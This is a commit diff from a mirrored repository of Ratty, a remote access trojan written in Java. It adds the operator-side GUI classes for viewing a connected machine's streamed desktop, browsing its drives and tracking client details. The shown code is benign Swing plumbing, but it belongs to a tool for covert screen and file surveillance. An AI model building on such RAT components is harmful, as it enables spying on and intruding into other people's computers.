mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
9 changed files with 346 additions and 165 deletions
-
10Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java
-
12Ratty/src/de/sogomn/rat/packet/CommandPacket.java
-
2Ratty/src/de/sogomn/rat/packet/InformationPacket.java
-
12Ratty/src/de/sogomn/rat/packet/PopupPacket.java
-
77Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java
-
122Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java
-
106Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
-
92Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
-
66Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
@ -0,0 +1,77 @@ |
|||||
|
package de.sogomn.rat.server.gui; |
||||
|
|
||||
|
import java.awt.Color; |
||||
|
import java.awt.Graphics2D; |
||||
|
import java.awt.image.BufferedImage; |
||||
|
|
||||
|
import de.sogomn.engine.Screen; |
||||
|
import de.sogomn.engine.Screen.ResizeBehavior; |
||||
|
import de.sogomn.engine.util.ImageUtils; |
||||
|
import de.sogomn.rat.util.FrameEncoder.IFrame; |
||||
|
|
||||
|
public final class DisplayPanel { |
||||
|
|
||||
|
private Screen screen; |
||||
|
private BufferedImage image; |
||||
|
|
||||
|
private static final int SCREEN_WIDTH = 1920 / 2; |
||||
|
private static final int SCREEN_HEIGHT = 1080 / 2; |
||||
|
|
||||
|
public DisplayPanel() { |
||||
|
//... |
||||
|
} |
||||
|
|
||||
|
private Screen createScreen(final int width, final int height) { |
||||
|
final Screen screen = new Screen(width, height); |
||||
|
|
||||
|
screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); |
||||
|
screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); |
||||
|
screen.setBackgroundColor(Color.BLACK); |
||||
|
screen.addListener(g -> { |
||||
|
g.drawImage(image, 0, 0, null); |
||||
|
}); |
||||
|
|
||||
|
return screen; |
||||
|
} |
||||
|
|
||||
|
private void drawToScreenImage(final BufferedImage imagePart, final int x, final int y) { |
||||
|
final Graphics2D g = image.createGraphics(); |
||||
|
|
||||
|
ImageUtils.applyHighGraphics(g); |
||||
|
|
||||
|
g.drawImage(imagePart, x, y, null); |
||||
|
g.dispose(); |
||||
|
} |
||||
|
|
||||
|
public void openScreen(final int width, final int height) { |
||||
|
if (screen == null || screen.getInitialWidth() != width || screen.getInitialHeight() != height || !screen.isOpen()) { |
||||
|
if (screen != null) { |
||||
|
screen.close(); |
||||
|
} |
||||
|
|
||||
|
screen = createScreen(width, height); |
||||
|
} |
||||
|
|
||||
|
screen.show(); |
||||
|
screen.redraw(); |
||||
|
} |
||||
|
|
||||
|
public void showImage(final BufferedImage image) { |
||||
|
this.image = image; |
||||
|
|
||||
|
final int width = image.getWidth(); |
||||
|
final int height = image.getHeight(); |
||||
|
|
||||
|
openScreen(width, height); |
||||
|
} |
||||
|
|
||||
|
public void showFrame(final IFrame frame, final int screenWidth, final int screenHeight) { |
||||
|
if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) { |
||||
|
image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB); |
||||
|
} |
||||
|
|
||||
|
drawToScreenImage(frame.image, frame.x, frame.y); |
||||
|
openScreen(screenWidth, screenHeight); |
||||
|
} |
||||
|
|
||||
|
} |
@ -0,0 +1,122 @@ |
|||||
|
package de.sogomn.rat.server.gui; |
||||
|
|
||||
|
import java.awt.Dimension; |
||||
|
|
||||
|
import javax.swing.JDialog; |
||||
|
import javax.swing.JFrame; |
||||
|
import javax.swing.JTree; |
||||
|
import javax.swing.tree.DefaultMutableTreeNode; |
||||
|
|
||||
|
public final class FileTreePanel { |
||||
|
|
||||
|
private JDialog dialog; |
||||
|
|
||||
|
private DefaultMutableTreeNode root; |
||||
|
private JTree tree; |
||||
|
|
||||
|
private static final String ROOT_NAME = "Drives"; |
||||
|
private static final int DEFAULT_WIDTH = 500; |
||||
|
private static final int DEFAULT_HEIGHT = 500; |
||||
|
|
||||
|
public FileTreePanel() { |
||||
|
dialog = new JDialog(); |
||||
|
root = new DefaultMutableTreeNode(ROOT_NAME); |
||||
|
tree = new JTree(root); |
||||
|
|
||||
|
tree.setEditable(false); |
||||
|
tree.setBorder(null); |
||||
|
|
||||
|
dialog.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE); |
||||
|
dialog.setPreferredSize(new Dimension(DEFAULT_WIDTH, DEFAULT_HEIGHT)); |
||||
|
dialog.setContentPane(tree); |
||||
|
dialog.pack(); |
||||
|
dialog.setLocationByPlatform(true); |
||||
|
} |
||||
|
|
||||
|
private DefaultMutableTreeNode[] getChildren(final DefaultMutableTreeNode node) { |
||||
|
final int childCount = node.getChildCount(); |
||||
|
final DefaultMutableTreeNode[] children = new DefaultMutableTreeNode[childCount]; |
||||
|
|
||||
|
for (int i = 0; i < childCount; i++) { |
||||
|
final DefaultMutableTreeNode child = (DefaultMutableTreeNode)node.getChildAt(i); |
||||
|
|
||||
|
children[i] = child; |
||||
|
} |
||||
|
|
||||
|
return children; |
||||
|
} |
||||
|
|
||||
|
private DefaultMutableTreeNode getChild(final DefaultMutableTreeNode node, final String name) { |
||||
|
final DefaultMutableTreeNode[] children = getChildren(node); |
||||
|
|
||||
|
for (final DefaultMutableTreeNode child : children) { |
||||
|
final Object object = child.getUserObject(); |
||||
|
|
||||
|
if (object.equals(name)) { |
||||
|
return child; |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
return null; |
||||
|
} |
||||
|
|
||||
|
private DefaultMutableTreeNode getByName(final DefaultMutableTreeNode start, final String[] path) { |
||||
|
if (path.length == 0) { |
||||
|
return null; |
||||
|
} |
||||
|
|
||||
|
final String name = path[0]; |
||||
|
final DefaultMutableTreeNode node = getChild(start, name); |
||||
|
|
||||
|
if (path.length == 1 || node == null) { |
||||
|
return node; |
||||
|
} |
||||
|
|
||||
|
final String[] remainingPath = new String[path.length - 1]; |
||||
|
System.arraycopy(path, 1, remainingPath, 0, remainingPath.length); |
||||
|
|
||||
|
return getByName(node, remainingPath); |
||||
|
} |
||||
|
|
||||
|
private void addAll(final DefaultMutableTreeNode start, final String[] path) { |
||||
|
if (path.length == 0) { |
||||
|
return; |
||||
|
} |
||||
|
|
||||
|
final String name = path[0]; |
||||
|
|
||||
|
DefaultMutableTreeNode node = getChild(start, name); |
||||
|
|
||||
|
if (node == null) { |
||||
|
node = new DefaultMutableTreeNode(name); |
||||
|
|
||||
|
start.add(node); |
||||
|
} |
||||
|
|
||||
|
final String[] remainingPath = new String[path.length - 1]; |
||||
|
System.arraycopy(path, 1, remainingPath, 0, remainingPath.length); |
||||
|
|
||||
|
addAll(node, remainingPath); |
||||
|
} |
||||
|
|
||||
|
public void addFile(final String... path) { |
||||
|
addAll(root, path); |
||||
|
} |
||||
|
|
||||
|
public void removeFile(final String... path) { |
||||
|
final DefaultMutableTreeNode node = getByName(root, path); |
||||
|
|
||||
|
if (node != null) { |
||||
|
node.removeFromParent(); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
public void clear() { |
||||
|
root.removeAllChildren(); |
||||
|
} |
||||
|
|
||||
|
public void setVisible(final boolean state) { |
||||
|
dialog.setVisible(state); |
||||
|
} |
||||
|
|
||||
|
} |
@ -0,0 +1,66 @@ |
|||||
|
package de.sogomn.rat.server.gui; |
||||
|
|
||||
|
import de.sogomn.rat.ActiveClient; |
||||
|
|
||||
|
public final class ServerClient { |
||||
|
|
||||
|
private String name, os, version; |
||||
|
private boolean loggedIn; |
||||
|
|
||||
|
private boolean streamingDesktop; |
||||
|
|
||||
|
private DisplayPanel displayPanel; |
||||
|
private FileTreePanel treePanel; |
||||
|
|
||||
|
final long id; |
||||
|
final ActiveClient client; |
||||
|
|
||||
|
public ServerClient(final long id, final ActiveClient client) { |
||||
|
this.id = id; |
||||
|
this.client = client; |
||||
|
|
||||
|
displayPanel = new DisplayPanel(); |
||||
|
treePanel = new FileTreePanel(); |
||||
|
} |
||||
|
|
||||
|
public void logIn(final String name, final String os, final String version) { |
||||
|
this.name = name; |
||||
|
this.os = os; |
||||
|
this.version = version; |
||||
|
|
||||
|
loggedIn = true; |
||||
|
} |
||||
|
|
||||
|
public void setStreamingDesktop(final boolean streamingDesktop) { |
||||
|
this.streamingDesktop = streamingDesktop; |
||||
|
} |
||||
|
|
||||
|
public String getName() { |
||||
|
return name; |
||||
|
} |
||||
|
|
||||
|
public String getOs() { |
||||
|
return os; |
||||
|
} |
||||
|
|
||||
|
public String getVersion() { |
||||
|
return version; |
||||
|
} |
||||
|
|
||||
|
public boolean isLoggedIn() { |
||||
|
return loggedIn; |
||||
|
} |
||||
|
|
||||
|
public boolean isStreamingDesktop() { |
||||
|
return streamingDesktop; |
||||
|
} |
||||
|
|
||||
|
public DisplayPanel getDisplayPanel() { |
||||
|
return displayPanel; |
||||
|
} |
||||
|
|
||||
|
public FileTreePanel getTreePanel() { |
||||
|
return treePanel; |
||||
|
} |
||||
|
|
||||
|
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue